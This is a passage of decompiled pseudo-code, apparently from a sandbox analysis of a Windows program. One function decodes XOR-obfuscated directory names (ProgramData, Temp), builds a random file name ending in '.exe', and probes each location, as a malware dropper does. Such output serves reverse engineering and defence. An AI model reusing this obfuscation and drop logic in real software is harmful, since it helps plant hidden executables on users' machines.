                                                          				char _t1453;
                                                          				intOrPtr* _t1454;
                                                          				signed int _t1455;
                                                          				char* _t1459;
                                                          				void* _t1465;
                                                          				intOrPtr* _t1466;
                                                          				signed char _t1469;
                                                          				void* _t1474;
                                                          				intOrPtr* _t1475;
                                                          				signed char _t1478;
                                                          				void* _t1483;
                                                          				signed char* _t1484;
                                                          				signed char _t1487;
                                                          				void* _t1492;
                                                          				char _t1493;
                                                          				char _t1494;
                                                          				char* _t1498;
                                                          				char _t1499;
                                                          				char _t1500;
                                                          				signed char _t1501;
                                                          				char _t1502;
                                                          				signed char _t1503;
                                                          				signed char _t1504;
                                                          				char _t1505;
                                                          				char* _t1510;
                                                          				char _t1511;
                                                          				signed char _t1512;
                                                          				intOrPtr _t1513;
                                                          				signed char _t1514;
                                                          				signed char _t1515;
                                                          				intOrPtr _t1516;
                                                          				char* _t1520;
                                                          				char _t1521;
                                                          				signed char _t1522;
                                                          				signed char _t1523;
                                                          				signed char _t1524;
                                                          				signed char _t1525;
                                                          				signed char _t1526;
                                                          				char* _t1530;
                                                          				intOrPtr _t1531;
                                                          				signed char _t1532;
                                                          				signed char _t1533;
                                                          				intOrPtr _t1534;
                                                          				signed char _t1535;
                                                          				intOrPtr* _t1536;
                                                          				void* _t1540;
                                                          				long _t1541;
                                                          				long _t1543;
                                                          				long _t1544;
                                                          				long _t1545;
                                                          				void* _t1546;
                                                          				long _t1547;
                                                          				long _t1549;
                                                          				long _t1550;
                                                          				long _t1551;
                                                          				signed char* _t1552;
                                                          				long _t1553;
                                                          				long _t1555;
                                                          				long _t1556;
                                                          				signed char _t1560;
                                                          				void* _t1578;
                                                          				void* _t1579;
                                                          				signed char _t1582;
                                                          				long _t1583;
                                                          				long _t1584;
                                                          				long _t1585;
                                                          				long _t1586;
                                                          				void* _t1587;
                                                          				void* _t1588;
                                                          				void* _t1589;
                                                          				void* _t1590;
                                                          				void* _t1591;
                                                          				void* _t1592;
                                                          				signed char _t1595;
                                                          				long _t1596;
                                                          				long _t1597;
                                                          				long _t1598;
                                                          				long _t1599;
                                                          				void* _t1600;
                                                          				void* _t1601;
                                                          				void* _t1602;
                                                          				void* _t1603;
                                                          				void* _t1604;
                                                          				void* _t1605;
                                                          				intOrPtr* _t1606;
                                                          				long _t1611;
                                                          				long _t1612;
                                                          				void* _t1613;
                                                          				signed char _t1614;
                                                          				long _t1616;
                                                          				long _t1617;
                                                          				signed char _t1618;
                                                          				void* _t1619;
                                                          				long _t1620;
                                                          				long _t1622;
                                                          				long _t1623;
                                                          				long _t1624;
                                                          				signed char* _t1625;
                                                          				long _t1626;
                                                          				long _t1628;
                                                          				long _t1629;
                                                          				long _t1630;
                                                          				long _t1631;
                                                          				void* _t1632;
                                                          				signed char _t1635;
                                                          				long _t1636;
                                                          				long _t1637;
                                                          				long _t1638;
                                                          				long _t1639;
                                                          				void* _t1640;
                                                          				void* _t1641;
                                                          				void* _t1642;
                                                          				void* _t1643;
                                                          				void* _t1644;
                                                          				void* _t1645;
                                                          				signed char _t1648;
                                                          				long _t1649;
                                                          				long _t1650;
                                                          				long _t1651;
                                                          				long _t1652;
                                                          				void* _t1653;
                                                          				void* _t1654;
                                                          				void* _t1655;
                                                          				void* _t1656;
                                                          				void* _t1657;
                                                          				signed char _t1660;
                                                          				long _t1661;
                                                          				long _t1662;
                                                          				long _t1663;
                                                          				long _t1664;
                                                          				void* _t1665;
                                                          				void* _t1666;
                                                          				void* _t1667;
                                                          				void* _t1668;
                                                          				void* _t1669;
                                                          				signed char _t1672;
                                                          				long _t1673;
                                                          				long _t1674;
                                                          				long _t1675;
                                                          				long _t1676;
                                                          				void* _t1677;
                                                          				void* _t1678;
                                                          				void* _t1679;
                                                          				void* _t1680;
                                                          				void* _t1681;
                                                          				long _t1683;
                                                          				void* _t1684;
                                                          				long _t1688;
                                                          				void* _t1689;
                                                          				signed int _t1692;
                                                          				signed int _t1698;
                                                          				signed int _t1700;
                                                          				signed int _t1701;
                                                          				void* _t1703;
                                                          				signed int _t1706;
                                                          				void* _t1707;
                                                          				void* _t1708;
                                                          				signed char _t1709;
                                                          				void* _t1710;
                                                          				void* _t1711;
                                                          				void* _t1712;
                                                          				signed char _t1713;
                                                          				void* _t1714;
                                                          				void* _t1715;
                                                          				signed int _t1716;
                                                          				signed char _t1717;
                                                          				void* _t1718;
                                                          				void* _t1719;
                                                          				void* _t1724;
                                                          				void* _t1730;
                                                          				void* _t1731;
                                                          				signed int _t1732;
                                                          				void* _t1738;
                                                          				char _t1747;
                                                          				void* _t1748;
                                                          				void* _t1749;
                                                          				signed char _t1750;
                                                          				void* _t1751;
                                                          				void* _t1752;
                                                          				signed char _t1753;
                                                          				void* _t1754;
                                                          				void* _t1755;
                                                          				signed char _t1756;
                                                          				void* _t1757;
                                                          
                                                          				_push(__ebx);
                                                          				_t1309 = _t1703;
                                                          				_t1706 = (_t1703 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t1309 + 4));
                                                          				_t1698 = _t1706;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c942);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t1309);
                                                          				_t1707 = _t1706 - 0x1c0;
                                                          				_t796 =  *0x43d054; // 0x6e36c9b5
                                                          				_t797 = _t796 ^ _t1698;
                                                          				_v32 = _t797;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t797);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t1688 = __ecx;
                                                          				_v400 = __ecx;
                                                          				_v400 = __ecx;
                                                          				_v396 = 0;
                                                          				_v380 = 0;
                                                          				_v376 = 0xf;
                                                          				_v396 = 0;
                                                          				_v16 = 0;
                                                          				_t799 = E004065E0(__ecx); // executed
                                                          				if(_t799 != 0) {
                                                          					E00406760(_t1309,  &_v348, __edi);
                                                          					_v16 = 0x16;
                                                          					_t801 = E00417DF6( &_v348, __eflags);
                                                          					asm("cdq");
                                                          					E004055C0( &_v372, _t801 % 0xa + 5);
                                                          					_v16 = 0x17;
                                                          					_v401 = 0x2e;
                                                          					_t1683 =  *( *[fs:0x2c]);
                                                          					_t805 =  *0x450f24; // 0x0
                                                          					__eflags = _t805 -  *((intOrPtr*)(_t1683 + 4));
                                                          					if(_t805 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          						E0040EF48(_t805, 0x450f24);
                                                          						_t1707 = _t1707 + 4;
                                                          						__eflags =  *0x450f24 - 0xffffffff;
                                                          						if(__eflags == 0) {
                                                          							asm("movaps xmm0, [0x439d90]");
                                                          							asm("movups [0x450e90], xmm0");
                                                          							 *0x450ea0 = _v401;
                                                          							E0040F25B( &_v372, __eflags, 0x42d010);
                                                          							E0040EEFE(0x450f24);
                                                          							_t1707 = _t1707 + 8;
                                                          						}
                                                          					}
                                                          					_t806 =  *0x450ea0; // 0x0
                                                          					__eflags = _t806;
                                                          					if(_t806 != 0) {
                                                          						asm("movups xmm0, [0x450e90]");
                                                          						asm("movaps xmm1, [0x439d30]");
                                                          						asm("pxor xmm1, xmm0");
                                                          						 *0x450ea0 = _t806 ^ 0x0000002e;
                                                          						asm("movups [0x450e90], xmm1");
                                                          					}
                                                          					_t1318 = 0x450e90;
                                                          					_v452 = 0;
                                                          					_v436 = 0;
                                                          					_v432 = 0xf;
                                                          					_v452 = 0;
                                                          					_t408 = _t1318 + 1; // 0x450e91
                                                          					_t1540 = _t408;
                                                          					do {
                                                          						_t807 =  *_t1318;
                                                          						_t1318 = _t1318 + 1;
                                                          						__eflags = _t807;
                                                          					} while (_t807 != 0);
                                                          					E004026B0(_t1309,  &_v452, 0x450e90, _t1318 - _t1540);
                                                          					_v16 = 0x18;
                                                          					_t1541 = _v432;
                                                          					_t1321 = _v436;
                                                          					__eflags = _t1541 - _t1321 - 1;
                                                          					if(_t1541 - _t1321 < 1) {
                                                          						_v400 = 0;
                                                          						_t811 = E00402980(_t1309,  &_v452, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          					} else {
                                                          						_t413 =  &(1[_t1321]); // 0x1
                                                          						__eflags = _t1541 - 0x10;
                                                          						_v436 = _t413;
                                                          						_t1071 =  >=  ? _v452 :  &_v452;
                                                          						 *((short*)(( >=  ? _v452 :  &_v452) + _t1321)) = 0x5c;
                                                          						_t811 =  &_v452;
                                                          					}
                                                          					_v428 = 0;
                                                          					_v412 = 0;
                                                          					_v408 = 0;
                                                          					asm("movups xmm0, [eax]");
                                                          					asm("movups [ebp-0x1a0], xmm0");
                                                          					asm("movq xmm0, [eax+0x10]");
                                                          					asm("movq [ebp-0x190], xmm0");
                                                          					 *(_t811 + 0x10) = 0;
                                                          					 *(_t811 + 0x14) = 0xf;
                                                          					 *_t811 = 0;
                                                          					_v16 = 0x19;
                                                          					_t813 = E0040C990( &_v476,  &_v428,  &_v348);
                                                          					_t1708 = _t1707 + 4;
                                                          					E00402490(_t1309,  &_v396, _t813);
                                                          					_t1543 = _v456;
                                                          					__eflags = _t1543 - 0x10;
                                                          					if(_t1543 < 0x10) {
                                                          						L198:
                                                          						_v16 = 0x18;
                                                          						_t1544 = _v408;
                                                          						_v460 = 0;
                                                          						_v456 = 0xf;
                                                          						_v476 = 0;
                                                          						__eflags = _t1544 - 0x10;
                                                          						if(_t1544 < 0x10) {
                                                          							L202:
                                                          							_v16 = 0x17;
                                                          							_t1545 = _v432;
                                                          							_v412 = 0;
                                                          							_v408 = 0xf;
                                                          							_v428 = 0;
                                                          							__eflags = _t1545 - 0x10;
                                                          							if(_t1545 < 0x10) {
                                                          								L206:
                                                          								_t1709 = _t1708 - 0x18;
                                                          								_v304 = _t1709;
                                                          								E0040BB90(_t1309, _t1709, _t1545, _t1683,  &_v372);
                                                          								_t1710 = _t1709 - 0x18;
                                                          								_v16 = 0x1a;
                                                          								_t1326 = _t1710;
                                                          								E0040BB90(_t1309, _t1326, _t1545, _t1683,  &_v396);
                                                          								_v16 = 0x17;
                                                          								_t819 = E00406800(_t1309, _t1326, _t1683, _t1688);
                                                          								_t1711 = _t1710 + 0x30;
                                                          								__eflags = _t819;
                                                          								if(_t819 == 0) {
                                                          									_t820 =  *0x450f8c; // 0x0
                                                          									_v316 = 0x7e72146d;
                                                          									_v312 = 0x5c49415c;
                                                          									_v308 = 0x4f6a434f;
                                                          									_v304 = 0x4f5a;
                                                          									_v401 = 0x2e;
                                                          									__eflags = _t820 -  *((intOrPtr*)(_t1683 + 4));
                                                          									if(_t820 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          										E0040EF48(_t820, 0x450f8c);
                                                          										_t1711 = _t1711 + 4;
                                                          										__eflags =  *0x450f8c - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											asm("movq xmm0, [ebp-0x130]");
                                                          											 *0x450d6c = _v308;
                                                          											 *0x450d70 = _v304;
                                                          											asm("movq [0x450d64], xmm0");
                                                          											 *0x450d72 = _v401;
                                                          											E0040F25B(_t1326, __eflags, 0x42cfe0);
                                                          											E0040EEFE(0x450f8c);
                                                          											_t1711 = _t1711 + 8;
                                                          										}
                                                          									}
                                                          									__eflags =  *0x450d72;
                                                          									if( *0x450d72 != 0) {
                                                          										_t1027 = 0;
                                                          										__eflags = 0;
                                                          										do {
                                                          											 *(_t1027 + 0x450d64) =  *(_t1027 + 0x450d64) ^ 0x0000002e;
                                                          											_t1027 = _t1027 + 1;
                                                          											__eflags = _t1027 - 0xf;
                                                          										} while (_t1027 < 0xf);
                                                          									}
                                                          									_t1327 = 0x450d64;
                                                          									_v452 = 0;
                                                          									_v436 = 0;
                                                          									_v432 = 0xf;
                                                          									_v452 = 0;
                                                          									_t512 = _t1327 + 1; // 0x450d65
                                                          									_t1546 = _t512;
                                                          									asm("o16 nop [eax+eax]");
                                                          									do {
                                                          										_t821 =  *_t1327;
                                                          										_t1327 = _t1327 + 1;
                                                          										__eflags = _t821;
                                                          									} while (_t821 != 0);
                                                          									E004026B0(_t1309,  &_v452, 0x450d64, _t1327 - _t1546);
                                                          									_v16 = 0x1d;
                                                          									_t1547 = _v432;
                                                          									_t1330 = _v436;
                                                          									__eflags = _t1547 - _t1330 - 1;
                                                          									if(_t1547 - _t1330 < 1) {
                                                          										_v400 = 0;
                                                          										_t825 = E00402980(_t1309,  &_v452, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          									} else {
                                                          										_t517 =  &(1[_t1330]); // 0x1
                                                          										__eflags = _t1547 - 0x10;
                                                          										_v436 = _t517;
                                                          										_t1026 =  >=  ? _v452 :  &_v452;
                                                          										 *((short*)(( >=  ? _v452 :  &_v452) + _t1330)) = 0x5c;
                                                          										_t825 =  &_v452;
                                                          									}
                                                          									_v428 = 0;
                                                          									_v412 = 0;
                                                          									_v408 = 0;
                                                          									asm("movups xmm0, [eax]");
                                                          									asm("movups [ebp-0x1a0], xmm0");
                                                          									asm("movq xmm0, [eax+0x10]");
                                                          									asm("movq [ebp-0x190], xmm0");
                                                          									 *(_t825 + 0x10) = 0;
                                                          									 *(_t825 + 0x14) = 0xf;
                                                          									 *_t825 = 0;
                                                          									_v16 = 0x1e;
                                                          									_t827 = E0040C990( &_v476,  &_v428,  &_v348);
                                                          									_t1712 = _t1711 + 4;
                                                          									E00402490(_t1309,  &_v396, _t827);
                                                          									_t1549 = _v456;
                                                          									__eflags = _t1549 - 0x10;
                                                          									if(_t1549 < 0x10) {
                                                          										L244:
                                                          										_v16 = 0x1d;
                                                          										_t1550 = _v408;
                                                          										_v460 = 0;
                                                          										_v456 = 0xf;
                                                          										_v476 = 0;
                                                          										__eflags = _t1550 - 0x10;
                                                          										if(_t1550 < 0x10) {
                                                          											L248:
                                                          											_v16 = 0x17;
                                                          											_t1551 = _v432;
                                                          											_v412 = 0;
                                                          											_v408 = 0xf;
                                                          											_v428 = 0;
                                                          											__eflags = _t1551 - 0x10;
                                                          											if(_t1551 < 0x10) {
                                                          												L252:
                                                          												_t1713 = _t1712 - 0x18;
                                                          												_v304 = _t1713;
                                                          												E0040BB90(_t1309, _t1713, _t1551, _t1683,  &_v372);
                                                          												_t1714 = _t1713 - 0x18;
                                                          												_v16 = 0x1f;
                                                          												_t1335 = _t1714;
                                                          												E0040BB90(_t1309, _t1335, _t1551, _t1683,  &_v396);
                                                          												_v16 = 0x17;
                                                          												_t833 = E00406800(_t1309, _t1335, _t1683, _t1688);
                                                          												_t1715 = _t1714 + 0x30;
                                                          												__eflags = _t833;
                                                          												if(_t833 == 0) {
                                                          													_t834 =  *0x450dd0; // 0x0
                                                          													_v308 = 0x7a72146d;
                                                          													_v304 = 0x2e5e434b;
                                                          													__eflags = _t834 -  *((intOrPtr*)(_t1683 + 4));
                                                          													if(_t834 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          														E0040EF48(_t834, 0x450dd0);
                                                          														_t1715 = _t1715 + 4;
                                                          														__eflags =  *0x450dd0 - 0xffffffff;
                                                          														if(__eflags == 0) {
                                                          															 *0x450d84 = _v308;
                                                          															 *0x450d88 = _v304;
                                                          															E0040F25B(_v304, __eflags, 0x42cfd0);
                                                          															E0040EEFE(0x450dd0);
                                                          															_t1715 = _t1715 + 8;
                                                          														}
                                                          													}
                                                          													_t835 =  *0x450d8b; // 0x0
                                                          													__eflags = _t835;
                                                          													if(_t835 != 0) {
                                                          														 *0x450d84 =  *0x450d84 ^ 0x0000002e;
                                                          														 *0x450d85 =  *0x450d85 ^ 0x0000002e;
                                                          														 *0x450d86 =  *0x450d86 ^ 0x0000002e;
                                                          														 *0x450d87 =  *0x450d87 ^ 0x0000002e;
                                                          														 *0x450d88 =  *0x450d88 ^ 0x0000002e;
                                                          														 *0x450d89 =  *0x450d89 ^ 0x0000002e;
                                                          														 *0x450d8a =  *0x450d8a ^ 0x0000002e;
                                                          														_t980 = _t835 ^ 0x0000002e;
                                                          														__eflags = _t980;
                                                          														 *0x450d8b = _t980;
                                                          													}
                                                          													_t1336 = 0x450d84;
                                                          													_v452 = 0;
                                                          													_v436 = 0;
                                                          													_v432 = 0xf;
                                                          													_v452 = 0;
                                                          													_t610 =  &(_t1336[1]); // 0x450d85
                                                          													_t1552 = _t610;
                                                          													do {
                                                          														_t836 =  *_t1336;
                                                          														_t1336 =  &(_t1336[1]);
                                                          														__eflags = _t836;
                                                          													} while (_t836 != 0);
                                                          													E004026B0(_t1309,  &_v452, 0x450d84, _t1336 - _t1552);
                                                          													_v16 = 0x22;
                                                          													_t1553 = _v432;
                                                          													_t1339 = _v436;
                                                          													__eflags = _t1553 - _t1339 - 1;
                                                          													if(_t1553 - _t1339 < 1) {
                                                          														_v400 = 0;
                                                          														_t840 = E00402980(_t1309,  &_v452, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          													} else {
                                                          														_t615 =  &(1[_t1339]); // 0x1
                                                          														__eflags = _t1553 - 0x10;
                                                          														_v436 = _t615;
                                                          														_t979 =  >=  ? _v452 :  &_v452;
                                                          														 *((short*)(( >=  ? _v452 :  &_v452) + _t1339)) = 0x5c;
                                                          														_t840 =  &_v452;
                                                          													}
                                                          													_v428 = 0;
                                                          													_v412 = 0;
                                                          													_v408 = 0;
                                                          													asm("movups xmm0, [eax]");
                                                          													asm("movups [ebp-0x1a0], xmm0");
                                                          													asm("movq xmm0, [eax+0x10]");
                                                          													asm("movq [ebp-0x190], xmm0");
                                                          													 *(_t840 + 0x10) = 0;
                                                          													 *(_t840 + 0x14) = 0xf;
                                                          													 *_t840 = 0;
                                                          													_v16 = 0x23;
                                                          													_t842 = E0040C990( &_v476,  &_v428,  &_v348);
                                                          													_t1716 = _t1715 + 4;
                                                          													E00402490(_t1309,  &_v396, _t842);
                                                          													_t1555 = _v456;
                                                          													__eflags = _t1555 - 0x10;
                                                          													if(_t1555 < 0x10) {
                                                          														L289:
                                                          														_v16 = 0x22;
                                                          														_t1556 = _v408;
                                                          														_v460 = 0;
                                                          														_v456 = 0xf;
                                                          														_v476 = 0;
                                                          														__eflags = _t1556 - 0x10;
                                                          														if(_t1556 < 0x10) {
                                                          															L293:
                                                          															_v16 = 0x17;
                                                          															_t1557 = _v432;
                                                          															_v412 = 0;
                                                          															_v408 = 0xf;
                                                          															_v428 = 0;
                                                          															__eflags = _t1557 - 0x10;
                                                          															if(_t1557 < 0x10) {
                                                          																L297:
                                                          																_t1717 = _t1716 - 0x18;
                                                          																_v304 = _t1717;
                                                          																E0040BB90(_t1309, _t1717, _t1557, _t1683,  &_v372);
                                                          																_t1718 = _t1717 - 0x18;
                                                          																_v16 = 0x24;
                                                          																_t1344 = _t1718;
                                                          																E0040BB90(_t1309, _t1344, _t1557, _t1683,  &_v396);
                                                          																_v16 = 0x17;
                                                          																_t848 = E00406800(_t1309, _t1344, _t1683, _t1688);
                                                          																_t1719 = _t1718 + 0x30;
                                                          																__eflags = _t848;
                                                          																if(_t848 == 0) {
                                                          																	E00402440(_t1309,  &_v372);
                                                          																	_v16 = 0;
                                                          																	E00402440(_t1309,  &_v348);
                                                          																	goto L309;
                                                          																} else {
                                                          																	_push(_t1344);
                                                          																	_t855 = E0040C770( &_v428,  &_v396);
                                                          																	_v16 = 0x25;
                                                          																	_t856 = E0040C990( &_v476, _t855,  &_v372);
                                                          																	_t1716 = _t1719 + 8;
                                                          																	_t1356 = _t856;
                                                          																	_v16 = 0x26;
                                                          																	_t1683 =  *(_t1356 + 0x14);
                                                          																	_t1560 =  *(_t1356 + 0x10);
                                                          																	__eflags = _t1683 - _t1560 - 4;
                                                          																	if(_t1683 - _t1560 < 4) {
                                                          																		_v400 = 0;
                                                          																		_t1356 = E00402980(_t1309, _t1356, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          																	} else {
                                                          																		 *(_t1356 + 0x10) = _t1560 + 4;
                                                          																		_t964 = _t1356;
                                                          																		__eflags = _t1683 - 0x10;
                                                          																		if(_t1683 >= 0x10) {
                                                          																			_t964 =  *_t1356;
                                                          																		}
                                                          																		 *((intOrPtr*)(_t964 + _t1560)) = 0x6578652e;
                                                          																		 *((char*)(_t964 + _t1560 + 4)) = 0;
                                                          																	}
                                                          																	 *_t1688 = 0;
                                                          																	 *(_t1688 + 0x10) = 0;
                                                          																	 *(_t1688 + 0x14) = 0;
                                                          																	asm("movups xmm0, [ecx]");
                                                          																	asm("movups [esi], xmm0");
                                                          																	asm("movq xmm0, [ecx+0x10]");
                                                          																	asm("movq [esi+0x10], xmm0");
                                                          																	 *(_t1356 + 0x10) = 0;
                                                          																	 *(_t1356 + 0x14) = 0xf;
                                                          																	 *_t1356 = 0;
                                                          																	_t1557 = _v456;
                                                          																	__eflags = _t1557 - 0x10;
                                                          																	if(_t1557 < 0x10) {
                                                          																		L307:
                                                          																		_v460 = 0;
                                                          																		_v456 = 0xf;
                                                          																		_v476 = 0;
                                                          																		E00402440(_t1309,  &_v428);
                                                          																		E00402440(_t1309,  &_v372);
                                                          																		E00402440(_t1309,  &_v348);
                                                          																		goto L310;
                                                          																	} else {
                                                          																		_t1360 = _v476;
                                                          																		_t1557 =  &(1[_t1557]);
                                                          																		_t863 = _t1360;
                                                          																		__eflags = _t1557 - 0x1000;
                                                          																		if(_t1557 < 0x1000) {
                                                          																			L306:
                                                          																			_push(_t1557);
                                                          																			E0040EDFF(_t1360);
                                                          																			goto L307;
                                                          																		} else {
                                                          																			_t1360 =  *((intOrPtr*)(_t1360 - 4));
                                                          																			_t1557 = _t1557 + 0x23;
                                                          																			__eflags = _t863 - _t1360 + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L313;
                                                          																			} else {
                                                          																				goto L306;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t1427 = _v452;
                                                          																_t1557 =  &(1[_t1557]);
                                                          																_t965 = _t1427;
                                                          																__eflags = _t1557 - 0x1000;
                                                          																if(_t1557 < 0x1000) {
                                                          																	L296:
                                                          																	_push(_t1557);
                                                          																	E0040EDFF(_t1427);
                                                          																	_t1716 = _t1716 + 8;
                                                          																	goto L297;
                                                          																} else {
                                                          																	_t1360 =  *((intOrPtr*)(_t1427 - 4));
                                                          																	_t1557 = _t1557 + 0x23;
                                                          																	__eflags = _t965 -  *((intOrPtr*)(_t1427 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L313;
                                                          																	} else {
                                                          																		goto L296;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1428 = _v428;
                                                          															_t1578 = _t1556 + 1;
                                                          															_t969 = _t1428;
                                                          															__eflags = _t1578 - 0x1000;
                                                          															if(_t1578 < 0x1000) {
                                                          																L292:
                                                          																_push(_t1578);
                                                          																E0040EDFF(_t1428);
                                                          																_t1716 = _t1716 + 8;
                                                          																goto L293;
                                                          															} else {
                                                          																_t1360 =  *((intOrPtr*)(_t1428 - 4));
                                                          																_t1557 = _t1578 + 0x23;
                                                          																__eflags = _t969 -  *((intOrPtr*)(_t1428 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L313;
                                                          																} else {
                                                          																	goto L292;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1429 = _v476;
                                                          														_t1579 = _t1555 + 1;
                                                          														_t973 = _t1429;
                                                          														__eflags = _t1579 - 0x1000;
                                                          														if(_t1579 < 0x1000) {
                                                          															L288:
                                                          															_push(_t1579);
                                                          															E0040EDFF(_t1429);
                                                          															_t1716 = _t1716 + 8;
                                                          															goto L289;
                                                          														} else {
                                                          															_t1360 =  *((intOrPtr*)(_t1429 - 4));
                                                          															_t1557 = _t1579 + 0x23;
                                                          															__eflags = _t973 -  *((intOrPtr*)(_t1429 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L313;
                                                          															} else {
                                                          																goto L288;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_push(_t1335);
                                                          													_t985 = E0040C770( &_v428,  &_v396);
                                                          													_v16 = 0x20;
                                                          													_t986 = E0040C990( &_v476, _t985,  &_v372);
                                                          													_t1716 = _t1715 + 8;
                                                          													_t1434 = _t986;
                                                          													_v16 = 0x21;
                                                          													_t1683 =  *(_t1434 + 0x14);
                                                          													_t1582 =  *(_t1434 + 0x10);
                                                          													__eflags = _t1683 - _t1582 - 4;
                                                          													if(_t1683 - _t1582 < 4) {
                                                          														_v400 = 0;
                                                          														_t1434 = E00402980(_t1309, _t1434, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          													} else {
                                                          														 *(_t1434 + 0x10) = _t1582 + 4;
                                                          														_t1011 = _t1434;
                                                          														__eflags = _t1683 - 0x10;
                                                          														if(_t1683 >= 0x10) {
                                                          															_t1011 =  *_t1434;
                                                          														}
                                                          														 *((intOrPtr*)(_t1011 + _t1582)) = 0x6578652e;
                                                          														 *((char*)(_t1011 + _t1582 + 4)) = 0;
                                                          													}
                                                          													 *_t1688 = 0;
                                                          													 *(_t1688 + 0x10) = 0;
                                                          													 *(_t1688 + 0x14) = 0;
                                                          													asm("movups xmm0, [ecx]");
                                                          													asm("movups [esi], xmm0");
                                                          													asm("movq xmm0, [ecx+0x10]");
                                                          													asm("movq [esi+0x10], xmm0");
                                                          													 *(_t1434 + 0x10) = 0;
                                                          													 *(_t1434 + 0x14) = 0xf;
                                                          													 *_t1434 = 0;
                                                          													_t1583 = _v456;
                                                          													__eflags = _t1583 - 0x10;
                                                          													if(_t1583 < 0x10) {
                                                          														L262:
                                                          														_t1584 = _v408;
                                                          														_v460 = 0;
                                                          														_v456 = 0xf;
                                                          														_v476 = 0;
                                                          														__eflags = _t1584 - 0x10;
                                                          														if(_t1584 < 0x10) {
                                                          															L266:
                                                          															_t1585 = _v352;
                                                          															_v412 = 0;
                                                          															_v408 = 0xf;
                                                          															_v428 = 0;
                                                          															__eflags = _t1585 - 0x10;
                                                          															if(_t1585 < 0x10) {
                                                          																L270:
                                                          																_t1586 = _v328;
                                                          																_v356 = 0;
                                                          																_v352 = 0xf;
                                                          																_v372 = 0;
                                                          																__eflags = _t1586 - 0x10;
                                                          																if(__eflags < 0) {
                                                          																	goto L228;
                                                          																} else {
                                                          																	_t1436 = _v348;
                                                          																	_t1587 = _t1586 + 1;
                                                          																	_t994 = _t1436;
                                                          																	__eflags = _t1587 - 0x1000;
                                                          																	if(__eflags < 0) {
                                                          																		L273:
                                                          																		_push(_t1587);
                                                          																		E0040EDFF(_t1436);
                                                          																		_t1716 = _t1716 + 8;
                                                          																		_v332 = 0;
                                                          																		_v328 = 0xf;
                                                          																		_v348 = 0;
                                                          																		goto L39;
                                                          																	} else {
                                                          																		_t1360 =  *((intOrPtr*)(_t1436 - 4));
                                                          																		_t1557 = _t1587 + 0x23;
                                                          																		__eflags = _t994 -  *((intOrPtr*)(_t1436 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L313;
                                                          																		} else {
                                                          																			goto L273;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t1437 = _v372;
                                                          																_t1588 = _t1585 + 1;
                                                          																_t998 = _t1437;
                                                          																__eflags = _t1588 - 0x1000;
                                                          																if(_t1588 < 0x1000) {
                                                          																	L269:
                                                          																	_push(_t1588);
                                                          																	E0040EDFF(_t1437);
                                                          																	_t1716 = _t1716 + 8;
                                                          																	goto L270;
                                                          																} else {
                                                          																	_t1360 =  *((intOrPtr*)(_t1437 - 4));
                                                          																	_t1557 = _t1588 + 0x23;
                                                          																	__eflags = _t998 -  *((intOrPtr*)(_t1437 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L313;
                                                          																	} else {
                                                          																		goto L269;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1438 = _v428;
                                                          															_t1589 = _t1584 + 1;
                                                          															_t1002 = _t1438;
                                                          															__eflags = _t1589 - 0x1000;
                                                          															if(_t1589 < 0x1000) {
                                                          																L265:
                                                          																_push(_t1589);
                                                          																E0040EDFF(_t1438);
                                                          																_t1716 = _t1716 + 8;
                                                          																goto L266;
                                                          															} else {
                                                          																_t1360 =  *((intOrPtr*)(_t1438 - 4));
                                                          																_t1557 = _t1589 + 0x23;
                                                          																__eflags = _t1002 -  *((intOrPtr*)(_t1438 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L313;
                                                          																} else {
                                                          																	goto L265;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1439 = _v476;
                                                          														_t1590 = _t1583 + 1;
                                                          														_t1006 = _t1439;
                                                          														__eflags = _t1590 - 0x1000;
                                                          														if(_t1590 < 0x1000) {
                                                          															L261:
                                                          															_push(_t1590);
                                                          															E0040EDFF(_t1439);
                                                          															_t1716 = _t1716 + 8;
                                                          															goto L262;
                                                          														} else {
                                                          															_t1360 =  *((intOrPtr*)(_t1439 - 4));
                                                          															_t1557 = _t1590 + 0x23;
                                                          															__eflags = _t1006 -  *((intOrPtr*)(_t1439 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L313;
                                                          															} else {
                                                          																goto L261;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t1440 = _v452;
                                                          												_t1551 = _t1551 + 1;
                                                          												_t1012 = _t1440;
                                                          												__eflags = _t1551 - 0x1000;
                                                          												if(_t1551 < 0x1000) {
                                                          													L251:
                                                          													_push(_t1551);
                                                          													E0040EDFF(_t1440);
                                                          													_t1712 = _t1712 + 8;
                                                          													goto L252;
                                                          												} else {
                                                          													_t1360 =  *((intOrPtr*)(_t1440 - 4));
                                                          													_t1557 = _t1551 + 0x23;
